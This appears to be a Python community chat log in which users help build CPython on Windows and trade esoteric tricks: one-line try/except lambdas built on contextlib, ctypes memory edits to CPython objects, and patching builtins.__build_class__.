ok try this set PYTHON=C:\Program Files\Python310\python.exe
o_O
idk what to tell you, runs without a hitch here
can you paste the entire thing
i.e. including the command
ah
cloned it directly into Downloads instead of a subfolder
what command did you use to clone it
well you can either: make a subfolder i.e. called cpython and move all the extracted stuff into there
or inside cmd, navigate to a folder and run git clone https://github.com/python/cpython
thatll make a subfolder automatically
right, though cloning means something a little different in this context
when someone talks about cloning a git repo they generally mean to use git clone url_of_repo
in this case you can do that by moving the extracted stuff into a subfolder yourself
just make a folder called cpython and move them into there
wait did you only download the PCBuild folder? @sick hound
idk how downgit works, does it let you download a whole repo or just individual files and folders?
oh ok
in that case just run the git clone command
oh, well then there should be a zip download link on the github page for the whole repo too
now there should be a python_d.exe in the PCBuild/amd64 folder
thats debug mode python
it just showed up in the terminal
access violation occurs in POP_TOP during Py_DECREF
according to visual studio
there no assertions to guard against that so python_d doesnt show anything by itself
(Ready:=bot.listen(name="on_ready")(__import__("asyncio").coroutine(lambda:((msg:=print([command.name for command in bot.commands]) and await defer()) and (message:=print("Running") and await defer()) for _ in '_').__anext__())))
this only prints commands doesn't print Running
do I need to make an async function that runs in executor
def try_except(_try, _else, ex=Exception, *, coroutine:bool=False, _targs=[], _eargs=[]):
try: ((result:=_try(*_targs)) and return result) if not coroutine else ((result:=(loop:=__import__("asyncio").get_running_loop()) and (loop.create_task(__import__("asyncio").coroutine(_try)(*_targs)))) and return result)
except Exception as e: ((result:=(loop:=__import__("asyncio").get_running_loop()) and (loop.create_task(__import__("asyncio").coroutine(_else)(*_eargs)))) and return result) if coroutine and isinstance(e, ex) else ((result:=_else(*_eargs)) and return result) if coroutine else return False
I made a try_except function to be able to write try: except: in 1 line how do I make it have coroutine support
def try_except(_try, _else, ex=Exception, *, _targs=[], _eargs=[]):
try: (asyncio:=__import__("asyncio") and (loop:=asyncio.get_event_loop()) and (return loop.run_until_complete(_try(*_targs))) if (asyncio.iscoroutine()) else return _try(*_targs)
except Exception as e: return False if not isinstance(e, ex) else asyncio:=__import__("asyncio") and (loop:=asyncio.get_event_loop()) and (return loop.run_until_complete(_else(*_eargs))) if (asyncio.iscoroutine()) else return _else(*_eargs)
this good?
@stoic rose it’s possible to do try except in truly one line
HOW
i know it's something very complex
but how
Lookup contextlib.ContextDecorator
!d contextlib.ContextDecorator
class contextlib.ContextDecorator```
A base class that enables a context manager to also be used as a decorator.
Context managers inheriting from `ContextDecorator` have to implement `__enter__` and `__exit__` as normal. `__exit__` retains its optional exception handling even when used as a decorator.
`ContextDecorator` is used by [`contextmanager()`](https://docs.python.org/3/library/contextlib.html#contextlib.contextmanager "contextlib.contextmanager"), so you get this functionality automatically.
Example of `ContextDecorator`:
I'll send my implentation in a bit
!e ```py
_try = lambda t, *a, f=lambda a:a, e=Exception, **k,:(r:={}).pop(
'r',
type(
'',
(import('contextlib').ContextDecorator,),
{
'enter':int,
'exit':lambda s,*a:isinstance(
a[1], e
) and [r.update(
r=f(a)
)]
}
)()(t)(*a, **k)
)
_try(lambda: 1/0, f=lambda a:print(a))```
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
(<class 'ZeroDivisionError'>, ZeroDivisionError('division by zero'), <traceback object at 0x7f25d8ce6180>)
@stoic rose ^
It calls t(*a, **k) if that fails and the exception matches any in e then f(exception_data) is called
If the exception doesn't match e then the exception propagates
The return value of _try is the return value of t if it succeeds, and the return of f if an exception is caught
one sec I need to understand
ah I finally understood the code
that's a nice implementation. I'll make one that supports coroutines
_try = lambda t, *a, f=lambda a:a, e=Exception, **k,:(t:=(t if not __import__("asyncio").iscoroutine(t) else (lambda *a, **k:__import__("asyncio").get_event_loop().run_until_complete(t(*a, **k))))) and (f:=(f if not __import__("asyncio").iscoroutine(f) else (lambda a:__import__("asyncio").get_event_loop().run_until_complete(f(a))))) and (r:={}).pop(
'r',
type(
'',
(__import__('contextlib').ContextDecorator,),
{
'__enter__':int,
'__exit__':lambda s,*a:isinstance(
a[1], e
) and [r.update(
r=f(a)
)]
}
)()(t)(*a, **k)
)
maybe?
that looks like it should work
it didn't work rip
!e
_try = lambda t, *a, f=lambda a:a, e=Exception, **k,:(t:=(t if not __import__("asyncio").iscoroutine(t) else (lambda *a, **k: __import__("asyncio").get_event_loop().run_until_complete(t(*a, **k))))) and (f:=(f if not __import__("asyncio").iscoroutine(f) else (lambda a: __import__("asyncio").get_event_loop().run_until_complete(f(a))))) and (r:={}).pop(
'r',
type(
'',
(__import__('contextlib').ContextDecorator,),
{
'__enter__':int,
'__exit__':lambda s,*a:isinstance(
a[1], e
) and [r.update(
r=f(a)
)]
}
)()(t)(*a, **k)
)
_try(lambda: print(e), f=(__import__("asyncio").coroutine(lambda a: (print(int("1"))) for _ in "_").__anext__())))
@stoic rose :x: Your eval job has completed with return code 1.
001 | File "<string>", line 16
002 | _try(lambda: print(e), f=(__import__("asyncio").coroutine(lambda a: (print(int("1"))) for _ in "_").__anext__())))
003 | ^
004 | SyntaxError: unmatched ')'
!e
_try = lambda t, *a, f=lambda a:a, e=Exception, **k,:(t:=(t if not __import__("asyncio").iscoroutine(t) else (lambda *a, **k: __import__("asyncio").get_event_loop().run_until_complete(t(*a, **k))))) and (f:=(f if not __import__("asyncio").iscoroutine(f) else (lambda a: __import__("asyncio").get_event_loop().run_until_complete(f(a))))) and (r:={}).pop(
'r',
type(
'',
(__import__('contextlib').ContextDecorator,),
{
'__enter__':int,
'__exit__':lambda s,*a:isinstance(
a[1], e
) and [r.update(
r=f(a)
)]
}
)()(t)(*a, **k)
)
_try(lambda: print(e), f=(__import__("asyncio").coroutine(lambda a: ((print(int("1"))) for _ in "_").__anext__())))
@stoic rose :white_check_mark: Your eval job has completed with return code 0.
<string>:16: DeprecationWarning: "@coroutine" decorator is deprecated since Python 3.8, use "async def" instead
yeah it didnt print anything for sum reason
Weird
PyTuple_Check checks if a PyObject* refers to a tuple object
!e
The trick is to modify the memory directly
(snippet stolen from <#esoteric-python message>)
import ctypes
import sys
def get_obj_mem(obj):
return (ctypes.c_char * sys.getsizeof(obj)).from_address(id(obj))
o = object()
xs = (o,)
get_obj_mem(xs)[24:32] = id(xs).to_bytes(8, "little")
print(xs)
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
((...),)
yeah
ctypes allows modification of ram as long as it's allocated to python
yes
it's a bad idea to use ctypes in production
or anything you want to maintain
or to be portable
Not really
well, the original purpose ctypes was FFI
ctypes is used a lot in production
i.e. to interact with native functions
it's only accidentally used to make cursed shit
this kind of ctypes is not production code
I agree
I occasionally encounter this sort of stuff in production and it's a menace
I don't care if it's fast
@sick hound :white_check_mark: Your eval job has completed with return code 0.
(<NULL>, <NULL>, <NULL>)
null pointer?
@sick hound you cant access it because there is no data there (ie 0s)
tuples internally are just arrays of pointers
It makes a fake instance of the custom class
>>> from decimal import *
>>> load_addr(id(Decimal('2')))
"\"\\\"\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\
>>> o = _
>>> o
"\"\\\"\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\
>>> id(o)
4356728960
>>> type(o)
<class 'symtable entry'>
>>> ``` here the Decimal object gets deallocated before `load_addr` is called, and the address happens to get a symtable entry stored there
(i have no idea where that symtable comes from)
this fishhook stuff is rather confusing
Feel free to ask me questions
its just alot more code then i thought but id rather try to figure this stuff out on my own. But if i do have any questions ill definitely ask in the channel
if you want to ping me specifically go ahead, i wrote fishhook
is slotdata something that will always be true in the hook cls from cls function
well i mean besides something invalid being entered
It's only true if you're hooking a dunder
ahhh okay
if is_base:
getdict(built_cls).update(attributes) # Todo: module function
``` do these lines do anything? they're in the hook cls from cls function
cause the function is returning a value but its not being assigned or used from what i can tell
wait
i take that back
import ctypes
class String:
def return_i(self):
return "i"
base_size = ctypes.sizeof(ctypes.c_ssize_t)
attr = getattr(String, "return_i")
ctypes.py_object.from_address(id(str.__dict__) + 2 * base_size).value.update({"return_i": attr})
ctypes.pythonapi.PyType_Modified(ctypes.py_object(str))
print(str.return_i())
``` so i tried doing something similar to what was in the documentation but it doesnt seem to be working
its not printing anything but its returning with this exit code -1073741819 (0xC0000005)
@rugged sparrow did you really? i have questions
@pure dew i did yea
@pastel ibex builtin_cls.__dict__ is a getter, and the value it returns is deallocated after the call to id
https://github.com/chilaxan/fishhook/blob/master/fishhook/__init__.py#L111-L120 i commented on that here
fishhook/__init__.py lines 111 to 120
def getdict(cls):
'''
Obtains a writeable dictionary of a classes namespace
Note that any modifications to this dictionary should be followed by a
call to PyType_Modified(cls)
'''
cls_dict = cls.__dict__ # hold reference due to `cls.__dict__` being a getter
if isinstance(cls_dict, dict):
return cls_dict
return py_object.from_address(id(cls_dict) + 2 * base_size).value```
so youre saying i need to put it in a variable?
Yea
what does deallocated mean exactly?
The memory gets freed so there isn't a object there anymore
oh are you saying that the value needs to be saved so its stored in memory?
ahhh
okay well time to see if i can make this work with dunders
then after that i gotta figure out how to update the subclasses too
and thank you for the help
tfw when you've been debugging a program in idle and you try and run it from cmd - doesn't work
fucking windoze
never gonna code on it again
Why do programs utilising the __build_class_ function operate differently in IDLE to literally everywhere else?
the offending line in question is ```py
builtins.build_class=lambda a,b,*c,*d:(:=o(a,b,*c,**d),type(b,c,{i:getattr(,i)if''in dir()and type(.)==dict else(None,(lambda:None,getattr(,i))['__'in i])[callable(getattr(,i))]for i in dir()}|eval(('{}','{.[i]:i for i in .}')[hasattr(,'')],locals())))[1]
and it seems to break the base64 module (due to base64 importing `re`, and then that importing `Enum`, which produces possibly the deepest non-recursive traceback I've ever seen
(o is just the old version)
okay what
experienced some idle weirdness with @sick hound yesterday too
<#esoteric-python message> for some reason this works in the bot and terminal repl on my system but crashes in idle and the terminal on crow's system
will try it on my idle
it really shouldnt work at all
2-3-4-5-6
1234
lol what os?
windoze
!e
o=__builtins__.__build_class__
def build(f,n,*bases,**kwargs):
print(n)
old=o(f,n,*bases,**kwargs)
if 'metaclass'in kwargs:
print('found a metaclass')
return kwargs['metaclass'](n,bases,dict(old.__dict__))
return type(n,bases,dict(old.__dict__))
__builtins__.__build_class__=build
import re
__import__('re').fullmatch('a','a'*20)
works in windows idle, literally nothing else
@golden finch :x: Your eval job has completed with return code 1.
001 | _C
002 | DynamicClassAttribute
003 | _GeneratorWrapper
004 | auto
005 | _EnumDict
006 | EnumMeta
007 | Enum
008 | Traceback (most recent call last):
009 | File "<string>", line 10, in <module>
010 | File "/usr/local/lib/python3.9/re.py", line 124, in <module>
011 | import enum
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/akivuciqat.txt?noredirect
any idea why it breaks?
!e
o=__builtins__.__build_class__
def build(f,n,*bases,**kwargs):
print(n)
old=o(f,n,*bases,**kwargs)
print(dict(old.__dict__))
if 'metaclass'in kwargs:
print('found a metaclass')
return kwargs['metaclass'](n,bases,dict(old.__dict__))
return type(n,bases,dict(old.__dict__))
__builtins__.__build_class__=build
import re
__import__('re').fullmatch('a','a')
@golden finch :x: Your eval job has completed with return code 1.
001 | _C
002 | {'__module__': 'types', '_m': <function _C._m at 0x7efecaec39d0>, '__dict__': <attribute '__dict__' of '_C' objects>, '__weakref__': <attribute '__weakref__' of '_C' objects>, '__doc__': None}
003 | DynamicClassAttribute
004 | {'__module__': 'types', '__doc__': "Route attribute access on a class to __getattr__.\n\n This is a descriptor, used to define attributes that act differently when\n accessed through an instance and through a class. Instance access remains\n normal, but access to an attribute through a class will be routed to the\n class's __getattr__ method; this is done by raising AttributeError.\n\n This allows one to have properties active on an instance, and have virtual\n attributes on the class with the same name (see Enum for an example).\n\n ", '__init__': <function DynamicClassAttribute.__init__ at 0x7efecaec3af0>, '__get__': <function DynamicClassAttribute.__get__ at 0x7efecaec3b80>, '__set__': <function DynamicClassAttribute.__set_
... (truncated - too long, too many lines)
Full output: https://paste.pythondiscord.com/ehijevucar.txt?noredirect
oh let's take a look
